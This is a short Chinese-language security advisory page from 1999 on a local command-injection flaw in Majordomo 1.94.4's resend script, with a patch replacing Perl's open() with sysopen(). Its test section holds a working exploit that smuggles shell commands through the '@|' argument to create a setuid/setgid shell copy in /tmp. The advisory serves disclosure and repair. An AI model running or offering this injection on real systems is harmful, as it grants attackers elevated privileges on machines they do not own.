xfocus logo xfocus title
首页 焦点原创 安全文摘 安全工具 安全漏洞 焦点项目 焦点论坛 关于我们
English Version

Majordomo Local resend可以执行命令


发布时间:1999-12-28
更新时间:1999-12-28
严重程度:
威胁程度:本地管理员权限
错误类型:输入验证错误
利用方式:服务器模式

受影响系统
SCO
Great Circle Associates Majordomo 1.94.4
详细描述
resent包含了一个open()调用,能够执行一个外壳命令,所以可以用下面的方式 @|shell;commands;here来利用它。

测试代码
下面是它的利用方法:

bash-2.02$ /usr/local/majordomo/wrapper resend '@|cp /bin/ksh
/tmp/xnec;chmod 6555 /tmp/xnec'
resend: must specify '-l list' at /usr/local/majordomo/resend line 77.

bash-2.02$ ls -la /tmp/xnec
-r-sr-sr-x 1 owner daemon 361688 Dec 29 06:26 /tmp/xnec

因此推荐Perl程序员用sysopen()替代open()以保证安全。

解决方案
下面是它的补丁文件:

--- resend Thu Aug 19 10:12:03 1999
+++ resend+ Tue Dec 28 23:55:39 1999
@@ -58,7 +58,7 @@
if ($ARGV[0] =~ /^\@/) {
$fn = shift(@ARGV);
$fn =~ s/^@//;
- open(AV, $fn) || die("open(AV, \"$fn\"): $!\nStopped");
+ sysopen(AV, $fn, O_RDONLY) || die("sysopen(AV, \"$fn\", O_RDONLY): $!\nStopped");
undef($/); # set input field separator
$av = <AV>; # read whole file into string
close(AV);

相关信息